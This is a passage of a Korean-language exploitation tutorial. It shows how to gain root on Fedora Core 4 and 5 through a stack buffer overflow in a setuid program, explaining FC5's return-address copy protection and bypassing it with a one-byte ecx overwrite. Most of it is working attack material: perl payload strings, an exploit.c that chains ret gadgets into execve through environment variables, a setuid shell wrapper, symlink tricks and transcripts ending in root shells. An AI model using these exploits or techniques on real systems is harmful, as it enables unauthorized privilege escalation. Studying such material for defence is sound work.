0x00000001 0xbfd835e0: 0x003f2ff4 0x001d4ca0 0x080483b4( 첫인자 ) 0xbfd83618 0xbfd835f0: 0xbfd835c0 0x002e1dab 0x00000000 0x00000000 (gdb) x/4wx 0x080483b4 <--- 첫인자 0x80483b4 < libc_csu_init>: 0x57e58955 0xec835356 0x0000e80c 0x815b0000 (gdb)

execl() 의인자로적합한 stack 위치를찾았습니다. 그럼 ret 코드를몇번넣어야하는지계산을해보면... return address 부터 ret 코드주소 9 번 (4byte 단위 ) 다음 execl() 주소값을넣으면됩니다. gdb 상에서공격코드를넣고 stack 구성이어떻게되는지확인해보겠습니다. (gdb) d Delete all breakpoints? (y or n) y (gdb) b *execl Breakpoint 3 at 0x26545c (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/randomkid/vul/vul `perl -e 'print "A"x4,"\x04\x97\x04\x08","\xb1\x83\x04\x08"x9,"\x5c\x54\x26"'` (no debugging symbols found) (no debugging symbols found) Breakpoint 3, 0x0026545c in execl () from /lib/libc.so.6 (gdb) x/32wx $esp 0xbf808f14: 0x001d4ca0 0x080483b4 0xbf808f48 0xbf808ef0 0xbf808f24: 0x001ecdab 0x00000000 0x00000000 0x00000000 0xbf808f34: 0x001ccd30 0x001c7f2d 0x001d4fb4 0x00000002 0xbf808f44: 0x080482d8 0x00000000 0x080482f9 0x0804837c 0xbf808f54: 0x00000002 0xbf808f74 0x080483b4 0x08048404 0xbf808f64: 0x001c7f2d 0xbf808f6c 0x001d2843 0x00000002 0xbf808f74: 0xbf809b9f 0xbf809bb7 0x00000000 0xbf809be7 0xbf808f84: 0xbf809c06 0xbf809c16 0xbf809c21 0xbf809c2f (gdb) 구성이맞았습니다. 그럼 shell 로나가서심볼릭링크를걸고공격을해보겠습니다.

(gdb) q The program is running. Exit anyway? (y or n) y [randomkid@localhost vul]$ cat shell.c #include <stdio.h> int main() { printf("root shell!!!\n"); setuid(0); system("/bin/sh"); } [randomkid@localhost vul]$ gcc -o shell shell.c [randomkid@localhost vul]$ ln -s shell `perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"'` [randomkid@localhost vul]$ ls -al `perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"'` lrwxrwxrwx 1 randomkid randomkid 5 May 26 10:31 U??WVS???? -> shell [randomkid@localhost vul]$ 심볼릭링크가제대로걸렸습니다. 그럼공격을해보겠습니다. [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x04\x97\x04\x08","\xb1\x83\x04\x08"x9,"\x5c\x54\x26"'` Segmentation fault [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x04\x97\x04\x08","\xb1\x83\x04\x08"x9,"\x5c\x54\x26"'` Segmentation fault [randomkid@localhost vul]$./vul `perl -e 'print "A"x4,"\x04\x97\x04\x08","\xb1\x83\x04\x08"x9,"\x5c\x54\x26"'` root shell!!! sh-3.00# id uid=0(root) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t sh-3.00# uname -a Linux localhost.localdomain 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux sh-3.00# root shell 을얻었습니다.

==================================================================== *** 9. FC5 에서의 stack 방어메커니즘이해 (stack shield, guard) *** ==================================================================== return address 을 ret + exe 계열함수기법으로 exploit 을하면서솔라리스디자이너는 return address 를직접적으로변경이안되게만들어야하는방어메커니즘을필요로하게됩니다. 결국 stack shield + guard 방식을적용하게됩니다. 다음소스를보겠습니다. [randomkid@localhost vul]$ cat main.c #include <stdio.h> int main() { return 0; } [randomkid@localhost vul]$ 위프로그램은 stack 을어떻게보호하는지확인하기위해만든프로그램입니다. 그럼컴파일후 gdb 로 main() 의내부를보도록하겠습니다. [randomkid@localhost vul]$ gcc -o main main.c [randomkid@localhost vul]$ gdb -q main (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x08048354 <main+0>: lea 0x4(%esp),%ecx 0x08048358 <main+4>: and $0xfffffff0,%esp 0x0804835b <main+7>: pushl 0xfffffffc(%ecx) 0x0804835e <main+10>: push %ebp 0x0804835f <main+11>: mov %esp,%ebp 0x08048361 <main+13>: push %ecx 0x08048362 <main+14>: mov $0x0,%eax 0x08048367 <main+19>: pop %ecx 0x08048368 <main+20>: pop %ebp 0x08048369 <main+21>: lea 0xfffffffc(%ecx),%esp 0x0804836c <main+24>: ret End of assembler dump.

(gdb) b *main+0 Breakpoint 1 at 0x8048354 (gdb) r Starting program: /home/randomkid/vul/main Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0xb63000 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048354 in main () (gdb) main() 의프롤로그부분에브레이크를걸고실행을하였습니다. 보시면알겠지만 FC5 에서는이전 FC 에서볼수없는프롤로그작업을합니다. <main+0>: lea 0x4(%esp),%ecx <main+4>: and $0xfffffff0,%esp <main+7>: pushl 0xfffffffc(%ecx) 이 3 줄입니다. 그럼의미를알기위해 main() 프롤로그부터한라인씩실행해보겠습니다. (gdb) x/4wx $esp 0xbf853a2c: 0x008207e4(return address) 0x00000001 0xbf853ab4 0xbf853abc (gdb) si <--- lea 0x4(%esp),%ecx 수행. 0x08048358 in main () (gdb) info reg ecx <--- ecx 레지스터에 &return address + 4 위치값을저장. ecx 0xbf853a30-1081787856 (gdb) si <--- and $0xfffffff0,%esp 수행. (gdb) x/8wx $esp <--- esp 안의최하위 4bit 를 0 으로만들어 esp 위치를 12byte 확장. 0xbf853a20: 0x00807cc0 0x08048378 0xbf853a88 0x008207e4 0xbf853a30: 0x00000001 0xbf853ab4 0xbf853abc 0x007fb5bb (gdb) si <--- pushl 0xfffffffc(%ecx) 수행. (gdb) x/9wx $esp <--- ecx 를이용하여 return address 의주소를복제하여 stack 에넣어둠. 0xbf853a1c: 0x008207e4(ret) 0x00807cc0 0x08048378 0xbf853a88 0xbf853a2c: 0x008207e4(ret) 0x00000001 0xbf853ab4 0xbf853abc 0xbf853a3c: 0x007fb5bb (gdb) si <--- push %ebp 수행.

(gdb) x/10wx $esp <--- stack 상에 base pointer 구성. 0xbf853a18: 0xbf853a88 0x008207e4 0x00807cc0 0x08048378 0xbf853a28: 0xbf853a88 0x008207e4 0x00000001 0xbf853ab4 0xbf853a38: 0xbf853abc 0x007fb5bb (gdb) si <--- mov %esp,%ebp 수행. (gdb) x/x $ebp <--- ebp 를 esp 와동일하게만들어서이전함수의 base pointer 값을가리키게함. 0xbf853a18: 0xbf853a88 (gdb) x/x $esp 0xbf853a18: 0xbf853a88 (gdb) si <--- push %ecx (gdb) x/11wx $esp <--- &return address + 4 를가리키는 ecx 레지스터값을 stack 에저장함. 0xbf853a14: 0xbf853a30 0xbf853a88 0x008207e4 0x00807cc0 0xbf853a24: 0x08048378 0xbf853a88 0x008207e4 0x00000001 0xbf853a34: 0xbf853ab4 0xbf853abc 0x007fb5bb (gdb) si <--- mov $0x0,%eax 0x08048367 in main () (gdb) info reg eax <--- eax 레지스터에 0 을넣음.( 소스코드의 return 0; 을수행 ) eax 0x0 0 (gdb) 이제부터함수에필로그작업에들어갑니다. 중요한부분이니주의깊게보시기바랍니다. (gdb) si <--- pop %ecx 수행. 0x08048368 in main () (gdb) info reg ecx <--- ecx 레지스터를 &return address + 4 위치를가리키게함. ecx 0xbf853a30-1081787856 (gdb) x/10wx $esp 0xbf853a18: 0xbf853a88 0x008207e4 0x00807cc0 0x08048378 0xbf853a28: 0xbf853a88 0x008207e4 0x00000001 0xbf853ab4 0xbf853a38: 0xbf853abc 0x007fb5bb (gdb) si <--- pop %ebp 수행. 0x08048369 in main () (gdb) info reg ebp <--- 이전함수의 base pointer 로복귀시킴. ebp 0xbf853a88 0xbf853a88 (gdb) x/9wx $esp 0xbf853a1c: 0x008207e4 0x00807cc0 0x08048378 0xbf853a88 0xbf853a2c: 0x008207e4 0x00000001 0xbf853ab4 0xbf853abc 0xbf853a3c: 0x007fb5bb

(gdb) si <--- lea 0xfffffffc(%ecx),%esp 수행. 0x0804836c in main () (gdb) x/x $esp <--- esp 를 &return address 로가리키게함. 0xbf853a2c: 0x008207e4 (gdb) si <--- ret 수행.( main() 이전함수를진행시킴 ) 0x008207e4 in libc_start_main () from /lib/libc.so.6 여기까지 FC5 에서 main() 의프롤로그와에필로그작업을다보셨습니다. 쉽게보기위해에필로그작업을마친 stack 을도식화해보겠습니다. <FC5 stack> <--- stack 의높은주소 return address dummy dummy dummy copy return address ebp &return address + 4(ecx) <--- stack 의낮은주소 결국위와같이되는것입니다. stack overflow 를하게될경우를생각해보면가장난관이바로 stack 에구성된 ecx 값이될것입니다. main() 의에필로그부분을보면 stack 에구성된 ecx - 4 한주소를 esp 로넣어 ret 명령을수행하기때문에입니다. 물론이때 stack 에구성된 ecx 값은 random stack address 값이됩니다. 참난감한상황이아닐수없습니다.( ㅠㅠ ) return address 를변조할려면 stack 에구성된 ecx 값을변조할수밖에없는데이 random 적으로변하는 stack 의주소값을정확히추측할수없기때문입니다.

================================================================================= *** 10. FC5 에서의 stack 방어메커니즘우회공격기법 (ecx one byte overflow) *** ================================================================================= 어떻게해야저 stack 보호메커니즘을뚫고 root shell 을얻을수있겠습니까? 방법을말씀드리겠습니다. 일단 stack 상에방패역할을하는 ecx 값을최하위한바이트만 0x00 으로덮어씌웁니다. 그럼에필로그작업을수행할때 buffer 쪽으로 esp 가넘어오게됩니다.( 확률상높게나타납니다.) buffer 의어느위치에정확히 esp 가넘어올지모르기때문에 buffer 의최상위 4 바이트를제외한모든부분을 ret 코드로채웁니다. 그렇게되면 stack 의높은주소로 esp 가올라가게되고최종적으로 main() 의에필로그부분을 한번더수행해주면환경변수나 argv 영역으로프로그램흐름이넘어가게됩니다. 지금설명한부분을도식화해보겠습니다.

< 공격전 stack> < 공격후 stack> <--- stack 의높은주소 0 execve()'s 3 인자 +------------------------------------------> root shell!!! 0 execve()'s 2 인자 0 execve()'s 1 인자 0 dummy 0 &execve() +<----- lea 0xfffffffc(%ecx),%esp + ret --+ ^ 0 dummy 중략중략 0 &environs address +------ pop %ebp ------------------------> + 0 &environs address +<----- pop %ecx -----------------+ 중략중략 ^ return address return address dummy dummy dummy dummy copy return address copy return address ebp ebp &return address + 4(ecx) one byte 0x00 ecx start! ----->+ buffer main()'s epilogue +-----------> + add $0x???, %esp - + ^ buffer ret buffer. V buffer ret +<-----------+ %esp == 0xbf????00 0x4 buffer ret <--- stack 의낮은주소

위의그림에서 start 부분부터따라가면서봐주시면이해가되실겁니다. 취약프로그램을공격해보겠습니다. [randomkid@localhost vul]$ ls -al vul -rwsr-xr-x 1 root root 4699 Apr 14 10:44 vul [randomkid@localhost vul]$ cat vul.c #include <stdio.h> #include <string.h> int main(int argc,char**argv) { char buf[256]; strcpy(buf,argv[1]); } [randomkid@localhost vul]$ id uid=500(randomkid) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t [randomkid@localhost vul]$ uname -a Linux localhost.localdomain 2.6.18-1.2257.fc5 #1 Fri Dec 15 16:06:24 EST 2006 i686 i686 i386 GNU/Linux [randomkid@localhost vul]$ root 권한으로실행이되는취약프로그램입니다. 공격과정은다음과같습니다. 1. 아스키아머가걸리지않은 ret 코드주소를알아낸다. 2. main()'s 에필로그주소를알아낸다. 3. 몇번째 enviorns 에서 ret 이되는지알아낸다. 4. &execve()'s address 를알아낸다. 5. 심볼릭링크를걸고공격하여 root shell 을얻어낸다. 그럼 gdb 로취약프로그램을분석합니다.

[randomkid@localhost vul]$ gdb -q vul (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x08048384 <main+0>: lea 0x4(%esp),%ecx 0x08048388 <main+4>: and $0xfffffff0,%esp 0x0804838b <main+7>: pushl 0xfffffffc(%ecx) 0x0804838e <main+10>: push %ebp 0x0804838f <main+11>: mov %esp,%ebp 0x08048391 <main+13>: push %ecx 0x08048392 <main+14>: sub $0x114,%esp 0x08048398 <main+20>: mov 0x4(%ecx),%eax 0x0804839b <main+23>: add $0x4,%eax 0x0804839e <main+26>: mov (%eax),%eax 0x080483a0 <main+28>: mov %eax,0x4(%esp) 0x080483a4 <main+32>: lea 0xfffffefc(%ebp),%eax 0x080483aa <main+38>: mov %eax,(%esp) 0x080483ad <main+41>: call 0x80482c8 < gmon_start @plt+16> 0x080483b2 <main+46>: add $0x114,%esp <--- main()'s 에필로그주소 0x080483b8 <main+52>: pop %ecx 0x080483b9 <main+53>: pop %ebp 0x080483ba <main+54>: lea 0xfffffffc(%ecx),%esp 0x080483bd <main+57>: ret <--- ret 코드주소 0x080483be <main+58>: nop 0x080483bf <main+59>: nop End of assembler dump. (gdb) ret 코드주소와에필로그주소를알아냈습니다. 다음몇번째환경변수값을 ret 하는지알아내기위해다음과같은프로그램을만듭니다. (gdb) q

[randomkid@localhost vul]$ cat test.c #include <stdio.h> int main() { char *environs[] = { "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14", "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25","K26","K27", "K28","K29","K30",0 }; char *argv[] = { "./vul", /* <--- ret 코드주소 */ "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08" "\xb2\x83\x04\x08", /* <--- main()'s 의에필로그 */ 0 }; } execve("./vul",argv,environs);

위프로그램을 gdb 로돌리면몇번째환경변수가 ret 이실행되는지알수있습니다. [randomkid@localhost vul]$ gcc -o test test.c [randomkid@localhost vul]$ gdb -q test (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r Starting program: /home/randomkid/vul/test Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0xeb4000 (no debugging symbols found) (no debugging symbols found) Program received signal SIGSEGV, Segmentation fault. 0x0036324b in?? () (gdb) x/s $esp 0xbfe55fe6: "K27" (gdb) 26 번째인자가 ret 이수행이되었습니다. 그럼 26 번째인자를 &execve() 로바꾸고 28 번째에서 execve() 의인자를올바르게구성시켜주면됩니다. (gdb) p execve <--- &execve() address $1 = {<text variable, no debug info>} 0x8962fc <execve> (gdb) x/x 0x08049074 <--- execve() 의첫번째인자 0x8049074: 0x00000001 (gdb) x/x 0x08049704 <--- execve() 의두번째, 세번째인자 0x8049704: 0x00000000 (gdb) q The program is running. Exit anyway? (y or n) y [randomkid@localhost vul]$ cat exploit.c

#include <stdio.h> int main() { char *environs[] = { "K1","K2","K3","K4","K5","K6","K7","K8","K9","K10","K11","K12","K13","K14", "K15","K16","K17","K18","K19","K20","K21","K22","K23","K24","K25","K25", "\xfc\x62\x89", /* <--- &execve()'s address */ "K27", "\x74\x90\x04\x08" /* <--- execve() 첫번째인자 */ "\x04\x97\x04\x08" /* <--- execve() 두번째인자 */ "\x04\x97\x04\x08",/* <--- execve() 세번째인자 */ 0 }; char *argv[] = { "./vul", "\xbd\x83\x04\x08\xbd\x83\x04\x08\xbd\x83\x04\x08" "\xb2\x83\x04\x08", 0 }; execve("./vul",argv,environs); } [randomkid@localhost vul]$ cat shell.c

#include <stdio.h> int main() { printf("root in!!!\n"); setuid(0); system("/bin/sh"); } [randomkid@localhost vul]$ gcc -o shell shell.c [randomkid@localhost vul]$ ln -s shell `perl -e 'print "\x01"'` [randomkid@localhost vul]$ ls -al `perl -e 'print "\x01"'` lrwxrwxrwx 1 randomkid randomkid 5 May 22 09:16? -> shell [randomkid@localhost vul]$ 모든준비가끝났습니다. 그럼공격을해보겠습니다. [randomkid@localhost vul]$ gcc -o exploit exploit.c [randomkid@localhost vul]$./exploit [randomkid@localhost vul]$ while [ 1 ]; > do >./exploit > done Segmentation fault Segmentation fault Segmentation fault root in!!! sh-3.1# id uid=0(root) gid=500(randomkid) groups=500(randomkid) context=user_u:system_r:unconfined_t sh-3.1# uname -a Linux localhost.localdomain 2.6.18-1.2257.fc5 #1 Fri Dec 15 16:06:24 EST 2006 i686 i686 i386 GNU/Linux sh-3.1# root shell 을얻었습니다. < Reference > - The advanced return-into-lib(c) exploits (Nergal) - The Frame Pointer Overwrite (klog) - Fedora Core 5,6 시스템기반 main() 함수내의달라진 stack overflow 공격기법 (Xpl017Elz) - Fedora Core 4,5,6 내에서 local 스택기반 overflow exploit 방법 (Xpl017Elz) - The New Way to Attack Applications On Operating Systems under Execshield (Xpl017Elz) - Fedora Core 3 에서 Overflow Explotation (vangelis) - BYPASSING STACKGUARD AND STACKSHIELD (Bulba and Kil3r) - Bypass Exec-shield under RedHat PST (axis) - 해커지망자들이알아야할 Buffer Overflow Attack 의기초 ( 달고나 ) - 리모트오버플로우공격기법총정리 (mongii)